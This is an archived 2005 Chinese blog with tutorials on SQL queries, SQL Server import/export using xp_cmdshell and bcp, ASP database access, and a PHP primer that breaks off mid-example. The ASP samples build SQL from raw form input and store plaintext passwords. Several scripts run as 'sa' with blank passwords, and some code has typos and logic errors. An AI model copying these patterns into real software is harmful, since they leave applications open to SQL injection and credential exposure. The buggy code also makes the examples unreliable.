为了大家更容易理解我举出的SQL语句,本文假定已经建立了一个学生成绩管理数据库,全文均以学生成绩的管理为例来描述。
1.在查询结果中显示列名:
a.用as关键字:select name as '姓名' from students order by age
b.直接表示:select name '姓名' from students order by age
2.精确查找:
a.用in限定范围:select * from students where native in ('湖南', '四川')
b.between...and:select * from students where age between 20 and 30
c.“=”:select * from students where name = '李山'
d.like:select * from students where name like '李%' (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:'%李%';若是第二个字为李,则应为'_李%'或'_李'或'_李_'。)
e.[]匹配检查符:select * from courses where cno like '[AC]%' (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like '[A-C]%')
3.对于时间类型变量的处理
a.smalldatetime:直接按照字符串处理的方式进行处理,例如:
select * from students where birth > = '1980-1-1' and birth <= '1980-12-31'
4.集函数
a.count()求和,如:select count(*) from students (求学生总人数)
b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
c.max(列)和min(列),求最大与最小
5.分组group
常用于统计时,如分组查总数:
select gender,count(sno)
from students
group by gender
(查看男女学生各有多少)
注意:从哪种角度分组就从哪列"group by"
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和性别(gender),所以有"group by grade, mno, gender"
select grade, mno, gender, count(*)
from students
group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno,count(*) from grades
where mark<60
group by sno
having count(*)>1
6.UNION联合
合并查询结果,如:
SELECT * FROM students
WHERE name like ‘张%’
UNION [ALL]
SELECT * FROM students
WHERE name like ‘李%’
7.多表查询
a.内连接
select g.sno,s.name,c.coursename
from grades g JOIN students s ON g.sno=s.sno
JOIN courses c ON g.cno=c.cno
(注意可以引用别名)
b.外连接
b1.左连接
select courses.cno,max(coursename),count(sno)
from courses LEFT JOIN grades ON courses.cno=grades.cno
group by courses.cno
左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。
左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。
b2.右连接
与左连接类似
b3.全连接
select sno,name,major
from students FULL JOIN majors ON students.mno=majors.mno
两边表中的内容全部显示
c.自身连接
select c1.cno,c1.coursename,c1.pno,c2.coursename
from courses c1,courses c2 where c1.pno=c2.cno
采用别名解决问题。
d.交叉连接
select lastname+firstname from lastname CROSS JOIN firstanme
相当于做笛卡儿积
8.嵌套查询
a.用关键字IN,如查询李山的同乡:
select * from students
where native in (select native from students where name=’ 李山’)
b.使用关键字EXIST,比如,下面两句是等价的:
select * from students
where sno in (select sno from grades where cno=’B2’)
select * from students where exists
(select * from grades where
grades.sno=students.sno AND cno=’B2’)
9.关于排序order
a.对于排序order,有两种方法:asc升序和desc降序
b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno,count(*) ,avg(mark) from grades
group by sno
having avg(mark)>85
order by 3
10.其他
a.对于有空格的识别名称,应该用"[]"括住。
b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL
c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”
d.注意在做否定意义的查询是小心进入陷阱:
如,没有选修‘B2’课程的学生 :
select students.*
from students, grades
where students.sno=grades.sno
AND grades.cno <> ’B2’
上面的查询方式是错误的,正确方式见下方:
select * from students
where not exists (select * from grades
where grades.sno=students.sno AND cno='B2')
11.关于有难度多重嵌套查询的解决思想:
如,选修了全部课程的学生:
select *
from students
where not exists ( select *
from courses
where NOT EXISTS
(select *
from grades
where sno=students.sno
AND cno=courses.cno))
最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可。
3:17 PM | 评论 (0)
Saturday, March 19, 2005 #
SQL语句导入导出大全
SQL语句导入导出大全 txlicenhe(原作)
关键字 导入导出 DTS
/******* 导出到excel
EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""'
/*********** 导入Excel
SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions
/*动态文件名
declare @fn varchar(20),@s varchar(1000)
set @fn = 'c:\test.xls'
set @s ='''Microsoft.Jet.OLEDB.4.0'',
''Data Source="'+@fn+'";User ID=Admin;Password=;Extended properties=Excel 5.0'''
set @s = 'SELECT * FROM OpenDataSource ('+@s+')...sheet1$'
exec(@s)
*/
SELECT cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+' ' 转换后的别名
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions
/********************** EXCEL导到远程SQL
insert OPENDATASOURCE(
'SQLOLEDB',
'Data Source=远程ip;User ID=sa;Password=密码'
).库名.dbo.表名 (列名1,列名2)
SELECT 列名1,列名2
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions
/** 导入文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword'
/** 导出文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename out c:\DT.txt -c -Sservername -Usa -Ppassword'
或
EXEC master..xp_cmdshell 'bcp "Select * from dbname..tablename" queryout c:\DT.txt -c -Sservername -Usa -Ppassword'
导出到TXT文本,用逗号分开
exec master..xp_cmdshell 'bcp "库名..表名" out "d:\tt.txt" -c -t ,-U sa -P password'
BULK INSERT 库名..表名
FROM 'c:\test.txt'
WITH (
FIELDTERMINATOR = ';',
ROWTERMINATOR = '\n'
)
--/* dBase IV文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase IV;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料4.dbf]')
--*/
--/* dBase III文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase III;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料3.dbf]')
--*/
--/* FoxPro 数据库
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
--*/
继续:
/**************导入DBF文件****************/
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;
SourceDB=e:\VFP98\data;
SourceType=DBF',
'select * from customer where country != "USA" order by country')
go
/***************** 导出到DBF ***************/
如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句
insert into openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
select * from 表
说明:
SourceDB=c:\ 指定foxpro表所在的文件夹
aa.DBF 指定foxpro表的文件名.
/*************导出到Access********************/
insert into openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表) select * from 数据库名..B表
/*************导入Access********************/
insert into B表 selet * from openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表)
文件名为参数
declare @fname varchar(20)
set @fname = 'd:\test.mdb'
exec('SELECT a.* FROM opendatasource(''Microsoft.Jet.OLEDB.4.0'',
'''+@fname+''';''admin'';'''', topics) as a ')
SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="f:\northwind.mdb";Jet OLEDB
atabase Password=123;User ID=Admin;Password=;')...产品
********************* 导入 xml 文件
DECLARE @idoc int
DECLARE @doc varchar(1000)
--sample XML document
SET @doc ='
<root>
<Customer cid= "C1" name="Janine" city="Issaquah">
<Order oid="O1" date="1/20/1996" amount="3.5" />
<Order oid="O2" date="4/30/1997" amount="13.4">Customer was very satisfied
</Order>
</Customer>
<Customer cid="C2" name="Ursula" city="Oelde" >
<Order oid="O3" date="7/14/1999" amount="100" note="Wrap it blue
white red">
<Urgency>Important</Urgency>
Happy Customer.
</Order>
<Order oid="O4" date="1/20/1996" amount="10000"/>
</Customer>
</root>
'
-- Create an internal representation of the XML document.
EXEC sp_xml_preparedocument @idoc OUTPUT, @doc
-- Execute a SELECT statement using OPENXML rowset provider.
SELECT *
FROM OPENXML (@idoc, '/root/Customer/Order', 1)
WITH (oid char(5),
amount float,
comment ntext 'text()')
EXEC sp_xml_removedocument @idoc
继续:
/**********************Excel导到Txt****************************************/
想用
select * into opendatasource(...) from opendatasource(...)
实现将一个Excel文件内容导入到一个文本文件
假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)
且银行帐号导出到文本文件后分两部分,前8位和后8位分开。
邹健:
如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2
然后就可以用下面的语句进行插入
注意文件名和目录根据你的实际情况进行修改.
insert into
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Text;HDR=Yes;DATABASE=C:\'
)...[aa#txt]
--,aa#txt)
--*/
select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
from
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls'
--,Sheet1$)
)...[Sheet1$]
如果你想直接插入并生成文本文件,就要用bcp
declare @sql varchar(8000),@tbname varchar(50)
--首先将excel表内容导入到一个全局临时表
select @tbname='[##temp'+cast(newid() as varchar(40))+']'
,@sql='select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
into '+@tbname+' from
opendatasource(''MICROSOFT.JET.OLEDB.4.0''
,''Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls''
)...[Sheet1$]'
exec(@sql)
--然后用bcp从全局临时表导出到文本文件
set @sql='bcp "'+@tbname+'" out "c:\aa.txt" /S"(local)" /P"" /c'
exec master..xp_cmdshell @sql
--删除临时表
exec('drop table '+@tbname)
/********************导整个数据库*********************************************/
用bcp实现的存储过程
/*
实现数据导入/导出的存储过程
根据不同的参数,可以实现导入/导出整个数据库/单个表
调用示例:
--导出调用示例
----导出单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',1
----导出整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',1
--导入调用示例
----导入单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',0
----导入整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',0
*/
if exists(select 1 from sysobjects where name='File2Table' and objectproperty(id,'IsProcedure')=1)
drop procedure File2Table
go
create procedure File2Table
@servername varchar(200) --服务器名
,@username varchar(200) --用户名,如果用NT验证方式,则为空''
,@password varchar(200) --密码
,@tbname varchar(500) --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表
,@filename varchar(1000) --导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt
,@isout bit --1为导出,0为导入
as
declare @sql varchar(8000)
if @tbname like '%.%.%' --如果指定了表名,则直接导出单个表
begin
set @sql='bcp '+@tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+'" /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
exec master..xp_cmdshell @sql
end
else
begin --导出整个数据库,定义游标,取出所有的用户表
declare @m_tbname varchar(250)
if right(@filename,1)<>'\' set @filename=@filename+'\'
set @m_tbname='declare #tb cursor for select name from '+@tbname+'..sysobjects where xtype=''U'''
exec(@m_tbname)
open #tb
fetch next from #tb into @m_tbname
while @@fetch_status=0
begin
set @sql='bcp '+@tbname+'..'+@m_tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+@m_tbname+'.txt " /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
exec master..xp_cmdshell @sql
fetch next from #tb into @m_tbname
end
close #tb
deallocate #tb
end
go
/************* Oracle **************/
EXEC sp_addlinkedserver 'OracleSvr',
'Oracle 7.3',
'MSDAORA',
'ORCLDB'
GO
delete from openquery(mailser,'select * from yulin')
select * from openquery(mailser,'select * from yulin')
update openquery(mailser,'select * from yulin where id=15')set disorder=555,catago=888
insert into openquery(mailser,'select disorder,catago from yulin')values(333,777)
补充:
对于用bcp导出,是没有字段名的.
用openrowset导出,需要事先建好表.
用openrowset导入,除ACCESS及EXCEL外,均不支持非本机数据导入
5:33 PM | 评论 (0)
Friday, March 11, 2005 #
教你1小时里搞定ASP
<1>语句
<%...........%>
<2>定义变量dim语句
<%
dim a,b
a=10
b=”ok!”
%>
注意:定义的变量可以是数值型,也可以是字符或者其他类型的
<3>简单的控制流程语句
1. If 条件1 then
语句1
elseif 条件2 then
语句2
else
语句3
endif
2.while 条件
语句
wend
3.for count=1 to n step m
语句1
exit for
语句2
next
二.ASP数据库简单*作教程
<1>.数据库连接(用来单独编制连接文件conn.asp)
<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("\bbs\db1\user.mdb")
%>
(用来连接bbs\db1\目录下的user.mdb数据库)
<2>显示数据库记录
原理:将数据库中的记录一一显示到客户端浏览器,依次读出数据库中的每一条记录
如果是从头到尾:用循环并判断指针是否到末 使用: not rs.eof
如果是从尾到头:用循环并判断指针是否到开始 使用:not rs.bof
<!--#include file=conn.asp--> (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)
<%
set rs=server.CreateObject("adodb.recordset") (建立recordset对象)
sqlstr="select * from message" ---->(message为数据库中的一个数据表,即你要显示的数据所存放的数据表)
rs.open sqlstr,conn,1,3 ---->(表示打开数据库的方式)
rs.movefirst ---->(将指针移到第一条记录)
while not rs.eof ---->(判断指针是否到末尾)
response.write(rs("name")) ---->(显示数据表message中的name字段)
rs.movenext ---->(将指针移动到下一条记录)
wend ---->(循环结束)
rs.close
conn.close 这几句是用来关闭数据库
set rs=nothing
set conn=nothing
%>
其中response对象是<a
href='http://school.enet.com.cn/eschool/includes/zhuanti/shuyu/info/1/02/1684.shtml'
target='_blank' class='article'>服务器</a>向客户端浏览器发送的信息
<3>增加数据库记录
增加数据库记录用到rs.addnew,rs.update两个函数
<!--#include file=conn.asp--> (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)
<%
set rs=server.CreateObject("adodb.recordset") (建立recordset对象)
sqlstr="select * from message" ---->(message为数据库中的一个数据表,即你要显示的数据所存放的数据表)
rs.open sqlstr,conn,1,3 ---->(表示打开数据库的方式)
rs.addnew 新增加一条记录
rs("name")="xx" 将xx的值传给name字段
rs.update 刷新数据库
rs.close
conn.close 这几句是用来关闭数据库
set rs=nothing
set conn=nothing
%>
<4>删除一条记录
删除数据库记录主要用到rs.delete,rs.update
<!--#include file=conn.asp--> (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)
<%
dim name
name="xx"
set rs=server.CreateObject("adodb.recordset") (建立recordset对象)
sqlstr="select * from message" ---->(message为数据库中的一个数据表,即你要显示的数据所存放的数据表)
rs.open sqlstr,conn,1,3 ---->(表示打开数据库的方式)
while not rs.eof
if rs.("name")=name then
rs.delete
rs.update 查询数据表中的name字段的值是否等于变量name的值"xx",如果符合就执行删除,
else 否则继续查询,直到指针到末尾为止
rs.movenext
emd if
wend
rs.close
conn.close 这几句是用来关闭数据库
set rs=nothing
set conn=nothing
%>
<5>关于数据库的查询
(a) 查询字段为字符型
<%
dim user,pass,qq,mail,message
user=request.Form("user")
pass=request.Form("pass")
qq=request.Form("qq")
mail=request.Form("mail")
message=request.Form("message")
if trim(user)&"x"="x" or trim(pass)&"x"="x" then (检测user值和pass值是否为空,可以检测到空格)
response.write("注册信息不能为空")
else
set rs=server.CreateObject("adodb.recordset")
sqlstr="select * from user where user='"&user&"'" (查询user数据表中的user字段其中user字段为字符型)
rs.open sqlstr,conn,1,3
if rs.eof then
rs.addnew
rs("user")=user
rs("pass")=pass
rs("qq")=qq
rs("mail")=mail
rs("message")=message
rs.update
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("注册成功")
end if
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("注册重名")
%>
(b)查询字段为数字型
<%
dim num
num=request.Form("num")
set rs=server.CreateObject("adodb.recordset")
sqlstr="select * from message where id="&num (查询message数据表中id字段的值是否与num相等,其中id为数字型)
rs.open sqlstr,conn,1,3
if not rs.eof then
rs.delete
rs.update
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("删除成功")
end if
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("删除失败")
%>
<6>几个简单的asp对象的讲解
response对象:服务器端向客户端发送的信息对象,包括直接发送信息给浏览器,重新定向URL,或设置cookie值
request对象:客户端向服务器提出的请求
session对象:作为一个全局变量,在整个站点都生效
server对象:提供对服务器上方法和属性的访问
(a) response对象的一般使用方法
比如:
<%
resposne.write("hello, welcome to asp!")
%>
在客户端浏览器就会看到 hello, welcome to asp! 这一段文字
<%
response.Redirect("http://www.sohu.com/")
%>
如果执行这一段,则浏览器就会自动连接到 “搜狐” 的网址关于response对象的用法还有很多,大家可以研究研究request对象的一般使用方法
比如客户端向服务器提出的请求就是通过request对象来传递的
列如 :你在申请邮箱的所填写的个人信息就是通过该对象来将你所填写的信息传递给服务器的
比如:这是一段表单的代码,这是提供给客户填写信息的,填写完了按“提交”传递给request.asp文件处理后再存入服务器数据库
<form name="form1" method="post" action="request.asp">
<p>
<input type="text" name="user">
</p>
<p>
<input type="text" name="pass">
</p>
<p>
<input type="submit" name="Submit" value="提交">
</p>
</form>
那么request.asp该如何将其中的信息读入,在写入数据库,在这里就要用到
request对象了,下面我们就来分析request.asp的写法
<%
dim name,password (定义user和password两个变量)
name=request.form(“user”) (将表单中的user信息传给变量name)
password=request.form(“pass”) (将表单中的pass信息传给变量password)
%>
通过以上的几句代码我们就将表单中的数据读进来了,接下来我们要做的就是将信息写入数据库了,写入数据库的方法上面都介绍了,这里就不一一复述了。
4:33 PM | 评论 (0)
PHP入门速成
PHP是一种用于创建动态WEB页面的服务端脚本语言。如同ASP和ColdFusion,用户可以混合使用PHP和HTML编写WEB页面,当访问者浏览到该页面时,服务端会首先对页面中的PHP命令进行处理,然后把处理后的结果连同HTML内容一起传送到访问端的浏览器。但是与ASP或ColdFusion不同,PHP是一种源代码开放程序,拥有很好的跨平台兼容性。用户可以在Windows NT系统以及许多版本的Unix系统上运行PHP,而且可以将PHP作为Apache服务器的内置模块或CGI程序运行。
除了能够精确的控制WEB页面的显示内容之外,用户还可以通过使用PHP发送HTTP报头。用户可以通过PHP设置cookies,管理用户身份识别,并对用户浏览页面进行重定向。PHP具有非常强大的数据库支持功能,能够访问几乎目前所有较为流行的数据库系统。此外,PHP可以与多个外接库集成,为用户提供更多的实用功能,如生成PDF文件等。
用户可以直接在WEB页面中输入PHP命令代码,因而不需要任何特殊的开发环境。在WEB页面中,所有PHP代码都被放置在“<?php”和“ ?>”中。此外,用户还可以选择使用诸如<SCRIPT LANGUAGE="php"></SCRIPT>等的形式。PHP引擎会自动识别并处理页面中所有位于PHP定界符之间的代码。
PHP脚本语言的语法结构与C语言和Perl语言的语法风格非常相似。用户在使用变量前不需要对变量进行声明。使用PHP创建数组的过程也非常简单。PHP还具有基本的面向对象组件功能,可以极大的方便用户有效组织和封装自己编写的代码。
PHP语法概述
A. 基本语法
即使初次接触PHP的用户也会发现自己对PHP的语法风格并不陌生。
例如:<?php
echo “Hello!”;
?>
显示结果为“Hello!”。
PHP中,所有的变量都以标识“$”开头。我们可以对上述代码做如下改动:
<?php
$greeting = “Hello!”;
echo $greeting;
?>
改变后的代码显示结果不变。
PHP中使用“.”符号连接不同的字符串,而其它的算术运算符则继承了流行编程语言的风格。举例如下:
<?php
$greeting = “Hello!”;
$num = 3 + 2;
$num++;
echo “$greeting $num people!”;
?>
显示结果为“Hello!6 people!”。
PHP对各种运算符及运算规则都有一套完整的规定,如果用户具有C或C++语言的编程背景的话,可以发现一切都得心应手。
与Perl语言一样,在PHP中,如果在双引号包含的字符串中含有变量的话,该变量将用相应的变量值替换;如果字符串被单引号包含,则不做替换。例如:
<?php
$name = ‘PETER’;
$greeting_1 = “Hello, $name!”;
$greeting_2 = ‘Hello, $name!’;
echo “$greeting_1n”;
echo “$greeting_2n”;
?>
显示结果为:
Hello, PETER!
Hello, $name!
(注:上述代码中的“n”为换行符,只能在双引号字符串下使用)
B. 变量
PHP允许用户象使用常规变量一样使用环境变量。例如,在页面http://www.nba.com/scores/index.html中包含如下代码:
<?php
echo “[$REQUEST_URI]”;
?>
则输出结果为[/scores/index.html]
C. 数组
用户在使用PHP创建数组时,可以把数组索引(包括常规索引或关联索引)加入方括号中。例如:
$fruit[0] = ‘banana’;
$fruit[1] = ‘apple’;
$favorites['animal'] = ‘tiger’;
$favorites['sports'] = ‘basketball’;
如果用户在向数组赋值时不指明数组下标,PHP将自动把该对象加入到数组末尾。例如对于上述$fruit数组可以用以下方式赋值而保持结果不变,
$fruit[] = ‘banana’;
$fruit[] = ‘apple’;
同样,在PHP中,用户还可以根据需要建立多维数组。例如:
$people[‘David’][‘shirt’] = ‘blue’;
$people[‘David’][‘car’] = ‘red’;
$people[‘Adam’][‘shirt’] = ‘white’;
$people[‘Adam’][‘car’] = ‘silver’;
在PHP中,用户还可以使用array()函数快速建立数组。例如:
$fruit = array(‘banana’,‘apple’);
$favorites = array(‘animal’ => ‘tiger’, ‘sports’ => ‘basketball’);
或者使用array()函数创建多维数组:
$people = array (‘David’ => array(‘shirt’ => ‘blue’,’car’ => ‘red’),
‘Adam’ => array(‘shirt’ => ‘white’,‘car’ => ‘sil

